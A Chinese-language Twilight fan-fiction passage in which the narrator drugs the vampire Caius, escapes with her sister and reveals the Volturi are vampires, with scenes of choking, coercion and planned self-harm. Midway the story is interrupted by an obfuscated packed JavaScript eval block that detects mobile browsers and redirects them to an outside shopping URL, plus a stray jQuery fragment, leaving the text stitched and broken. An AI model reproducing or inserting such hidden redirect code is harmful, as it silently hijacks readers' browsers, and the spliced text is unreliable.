我再也维持不了表情，“我要延迟转化。”
“不可能。”
“我应该被当作一个素食者受训。”
“我为什么——要帮助你——委屈自己。”
“凯厄斯！”
“shh！”
我想坐起来，我想抬起手，我想握成拳，但我什么都干不了，似乎继我来之前的那个拥抱之后，他把我看作成了“自己的”，绝对领域的一朵花，一个蘑菇，一颗石头。我明明把他拉向我，却被替换成——主动投诚。
“你们根本没有认真调查，卡伦一家从来就没有野心。”
“所以呢？”他说的每个字都用上了机械笃定的发音，一种癫狂的前兆，“嗯？”
“我认识他们，我不会消灭任何东西，我也不会吸人血。”
“放弃食物。你真是喜欢折磨自己。”
“因为我感到难过！”我放声道。
“那就习惯它！”
“那就习惯你的自责！”
我在哪里？嗨朱丽叶，我的脑袋神经兮兮地重复着这两句话。
你在说什么，我看着他，睫毛有点痒，楞楞地抽出手，揉了眼睛，就是这么一揉，突然发觉自己的后槽牙就像用钢丝钉在一起，死死咬着。
喂，你在干什么。你在说什么。你冷得要命，从里到外，你冷得他妈的就像一具尸体，你就是活生生的死亡。我拨开他的金发，指尖穿过他的鬓角，划过耳朵，停在那儿，“你再说一遍。”
“你——”
“啪。”
我的手在空中静止。
在颤抖吗？
颤抖的不是我。
凯厄斯举起骨感苍白的手，慢慢地近乎迷茫地摸上自己的脸，一只胆大的猫初次撞见镜子，带着孩子气的神态探索自己。
面前，他的五官抽动起来，震颤，尖牙在口腔里生长，忽然间，清晰扭曲的一切模糊成一个虚影，转瞬逼近，从中探出一只暴力而冰冷的手，毫不留情地扼住我的喉咙。但是大拇指还在皮肤上甜蜜地摩挲。
摩挲啊摩挲。
凯厄斯的发丝又滑又凉，“我会亲自教你，”他侧过头，“怎么咬断他们的脖子。”
因为窒息张口的瞬间，湿滑的蛇长驱直入，但马上就被驱赶，同时膝盖顶向腹部，只停顿了半秒，凯厄斯的红瞳在暗处发光，冷血动物的眼光，扑下来，一手穿过肋骨，我腾空而起，在坚冷的死亡身上降落，“张开。”
去你妈的。
“张开！”
我他妈要跟你绝交。
我张开了眼睛，同时张开手，一个爪子扯上他的头发，露出耳朵，我捏上去，手指变为潺潺的攀弄，在后颈，在他的发尾缠绕。凯厄斯顺势托起我，下巴搁在肩窝，手肘卡着他的脖子，我长在他身上。“我们为什么不睡一觉，”我对他耳语。
“我们一起睡一觉。”
他的手立刻钻进我的衣服里。
“NO，”我按住他，“你喝我的血。我们共眠。”
如果他不愿意……我在来之前，进到电梯里，一层一层的往上之前就已经决定，我会再一次刺伤自己，放血。真是轰轰烈烈。
“别想跟我耍这些把戏。”
别让，别再，不要，不准——全都是禁止，我是不是应该给你念独立宣言，颁布于1776，老古董，学学那些励志的美国人。我说过，我不会让自己掌握魔鬼的能力，或让魔鬼掌控我。
我夹紧他的腰，“可是我以后再也不会做梦了。”
他盯着我。
“吸血鬼不会睡觉。我再也不会睡觉了。”
但我可以让你们做梦，只消动用我的意念，马库斯在那天抬起苍老干枯的手，他告诉我我能做到的一切，我不用动一根手指，我只要看着你们，就能进入你们的头脑，令你们昏睡。
我流泪。
分不清是真是假，但此时此刻，十分恰当地流出来，慢悠悠地滑落，积在嘴角，带着这种味道，轻轻地贴上他的嘴唇。
我想起自己曾做过的那些离奇的梦，那时他还被我囚禁着，我梦见自己握着五彩斑斓的毛线球，如果有毛线球精灵这种说法，说不定我就是他们的一员，毛线在他的腹部缝补。我还梦见躺在一片海里，那么蓝，那么温柔。
我的心中一直隐隐不安，现在，这种不安就要实现了，已经实现了，我身处其中，全然接受。
“我们睡觉。”我对他说，“我在梦里见过你。”
“那时我们还不熟。”
“待会儿醒来之后，我们就回沃尔特拉。”
“你看我做什么，我喜欢你啊。”
“这是真的，”这是真的。“我对你产生了感情，”我已经对你产生了感情。“我渴望你，”我想摸你，拥抱，亲吻。“我想要你。”我想要你，我想要你偷走我的钢笔，所以我可以趁着去买新一支的时候散步，我想要你像一只猫，在我写字的时候，爬上我的书。
针管和安眠药是从药店搞到的。
他盯着我吃下去，我看着他喝下去。躺在大床上，我们闭眼。
我们闭眼，五分钟后，我脱离我们。
冲去浴室干呕起来，曲指往喉咙深处抠弄，刚刚他一定要摸着我的喉咙，感受那粒药顺着喉管滑进我的胃里。但我是个精神亢奋的不眠体质，就算吃三粒、四粒我照样睡不着，我的神经早就不受控制，向我美丽的精神状态致敬。
轻手轻脚地折回来，他还真就这样躺在那里，他真的睡了过去。
刻不容缓，我打开房门，回身反锁，最后头也不回地朝电梯口狂奔起来，疯狂地按按钮，希望海蒂不要这时候冒出来，但还好，起码沃尔图里的盲目自信和注重隐私让我得以完成出逃的第一步。
“去XX区。”我对的士司机说到，“麻烦快一点。”
“再快一点。”
赛琳早早地就准备好，白车停在路口，我朝她冲去，腾一下打开车门，把自己塞进副驾驶，“我们走！”
四只轮子滚动起来，尽管是冬天，但我仍然情不自禁地要开窗，朝自己的眼睛鼻子灌些冷风，前方是黑压压的柏油路，白雾浮在地表，我们正式逃亡。
“昆西，我希望你告诉我为什么。”赛琳目视前方，“他是不是在伤害你，你们是怎么认识的，那个海蒂，他……他们的穿着、做派，肤色……”赛琳哽着，“他们究竟是什么人？”
我要如何开口。
“他们很苍白。”我说。
赛琳：“嗯。”
“他们看起来很优雅。”
赛琳：“嗯”
“他们活了很久。”
赛琳抿唇不语。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16779405|190336||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我打开了车上的暖气。
“对不起，”我说，“如果你记得我们曾经看过的故事……我曾告诉过你，如果有一天我对你说了奇怪的话，你可以带我去看精神病医生，但一旦确定我没问题，你就要相信我说的话。”
“嗯。”赛琳从鼻腔溢出重重一声。
“你可以带我去看医生，等到了美国再去，我——”
“昆西，”她的音调颤抖，语气坚决，“现在告诉我。”
那么——
“他们不是人。”
“他们是吸血鬼。”
油门轰地一响，车子严重超速，我手忙脚乱地去推磁带按音乐，“塞，塞琳。”
油门不松。
“姐姐！”
她猛地转过来看我，“太快了。”我说。
好似这时候她才重新喘气，脚下渐渐松开。
“我们先去阿拉斯加，然后呢？”她说，带着不可理喻的相信、接受、合谋的态度。
“到德纳利公园，我们要去找一群……友好人士。我会请求他们帮助我——”
“他们是谁？帮助你什么？”
他们是吸血鬼，我要请求他们帮我转化，帮我成为一个素食者。我别无他法，如果我有强大的潜力，那么我必须在这个关头实现它，我必须马上立刻就强大起来。
我对赛琳说：“保护你，还有我。”
“所以那个混蛋对你做了什么？”她在说凯厄斯。
“他想要我加入他们。”我朝她弯眼，可是她忙着开车，看不见，“所以我逃跑了。”
“他是不是伤害了你。”
“没有。”我斩钉截铁道，“也许他喜欢我，但是我不能加入他们。”
“他们是坏蛋？”
我挤眉笑了，“噢，是的，超级大坏蛋。”
“别笑！”赛琳放声道。
我顿时歇声。“对不起。”我说。
白车在黑夜里疾驰，仪表盘散发出幽幽的白光，沉默了许久，路边的闪退的白线模糊起来，再开口时，前方隐约出现了“旅馆”两个字。
“你饿吗？”赛琳问我。
我摇头，她朝我笑了一下，“我去给你买一根火腿，还有一个面包。”
“我不饿。”
“但是你看起来太白了。”赛琳说，“我很快就回来。”
车停在空地上，她一边扎起头发一边朝前走。我在把她扯进来，我是一个白痴。
但是，我不能让沃尔图里有威胁我的机会，他们一定会找上赛琳。在我转化的期间，最好把她托付给什么人，也许我会带她去福克斯，也许卡伦一家，或者丽贝卡能帮上什么忙，她必须安全。
我等在车里，因为太闷，索性开了车门，寒风让我冷静。
我捂住自己的手，它从刚刚开始一直在微微打抖。
我们的时间不多，如果，如果沃尔图里的手段强悍到难以想象的地步，如果我们登不了飞机，那么我们必须做好远途奔行的准备，准备来一场公路旅行……哈。我要对她怎么说，最好别哭丧着脸，幽默地眨眨眼睛，咧嘴憨笑：赛琳，我们浪迹天涯吧。
“shh，别抖了。”我对手和牙齿说。
呆滞地盯着赛琳走开的方向。
……过了多久？
她怎么还不回来。